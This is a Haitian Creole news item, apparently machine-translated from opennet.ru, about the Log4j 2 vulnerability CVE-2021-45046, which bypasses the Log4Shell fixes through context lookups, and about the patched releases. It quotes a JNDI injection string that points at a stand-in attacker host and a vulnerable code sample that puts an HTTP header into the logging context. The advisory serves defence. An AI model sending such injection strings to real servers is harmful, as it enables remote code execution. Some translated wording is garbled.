Yon nouvo atak sou Log4j 2 ki pèmèt ou kontoune pwoteksyon an te ajoute

Yo te idantifye yon lòt vilnerabilite nan aplikasyon sibstitisyon JNDI nan bibliyotèk Log4j 2 (CVE-2021-45046), ki rive malgre koreksyon yo te ajoute nan lage 2.15 ak kèlkeswa itilizasyon anviwònman "log4j2.noFormatMsgLookup" pou pwoteksyon. Pwoblèm nan danjere sitou pou ansyen vèsyon Log4j 2, ki pwoteje lè l sèvi avèk drapo "noFormatMsgLookup", paske li fè li posib pou kontoune pwoteksyon kont yon vilnerabilite anvan (Log4Shell, CVE-2021-44228) ki pèmèt ou egzekite kòd ou sou la. sèvè. Pou itilizatè yo nan vèsyon 2.15, eksplwatasyon limite a kreye kondisyon pou aplikasyon an aksidan akòz fatig nan resous ki disponib.

Vilnerabilite a fèt sèlman sou sistèm ki itilize Context Lookups tankou ${ctx:loginId} oswa Thread Context Maps tankou %X, %mdc, ak %MDC pou anrejistreman. Operasyon an vini nan kreye kondisyon pou pwodiksyon done ki gen sibstitisyon JNDI nan boutèy demi lit la lè w ap itilize demann kontèks oswa modèl MDC nan aplikasyon an ki defini règ yo pou fòma pwodiksyon nan boutèy demi lit la.

Chèchè ki soti nan LunaSec te note ke pou vèsyon Log4j mwens pase 2.15, vilnerabilite sa a ka itilize kòm yon nouvo vektè pou yon atak Log4Shell ki mennen nan ekzekisyon kòd si ekspresyon ThreadContext yo itilize lè yo soti nan boutèy la, nan ki done ekstèn antre, kèlkeswa enklizyon pou pwoteje drapo " noMsgFormatLookups" oswa modèl "%m{nolookups}".

Yon nouvo atak sou Log4j 2 ki pèmèt ou kontoune pwoteksyon an te ajoute

Kontounen pwoteksyon an vini nan lefèt ke olye pou yo sibstitisyon dirèk "${jndi:ldap://attacker.com/a}", ekspresyon sa a ranplase pa valè yon varyab entèmedyè yo itilize nan règ yo pou fòma pwodiksyon an. boutèy demi lit. Pou egzanp, si yo itilize yon rechèch kontèks ${ctx:apiversion} lè w ap soti nan boutèy la, Lè sa a, atak la ka fèt lè w ranplase done "${jndi:ldap://attacker.com/a}" nan valè ekri nan varyab apiversion. Egzanp kòd vilnerab: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Valè header HTTP "X-Api-Version" la pase nan ThreadContext ThreadContext.put("apiversion" , apiVersion ); // Lè w ap soti nan boutèy la, yo pral trete valè ekstèn apiversion lè l sèvi avèk sibstitisyon ${ctx:apiversion} logger.info ("Resevwa yon demann pou vèsyon API"); retounen "Alo, mond!"; }

Nan Log4j 2.15, vilnerabilite a ta ka eksplwate pou fè atak DoS lè yo pase valè nan ThreadContext ki ta lakòz modèl fòma pwodiksyon an bouk.

Yon nouvo atak sou Log4j 2 ki pèmèt ou kontoune pwoteksyon an te ajoute

Mizajou 2.16 ak 2.12.2 yo te pibliye pou bloke vilnerabilite a. Nan branch Log4j 2.16 la, anplis de koreksyon ki aplike nan vèsyon 2.15 la epi ki konekte demann JNDI LDAP nan "localhost", fonksyonalite JNDI konplètman enfim pa default epi yo retire sipò pou modèl sibstitisyon mesaj. Kòm yon solisyon sekirite, li sijere pou retire klas JndiLookup nan chemen klas la (pa egzanp, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .

Ou ka swiv aparans nan fikse nan pakè sou paj distribisyon yo (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ak manifaktirè platfòm Java (GitHub, Docker, Oracle, vmWare, Broadcom ak Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, elatriye).

Sous: opennet.ru

Add nouvo kòmantè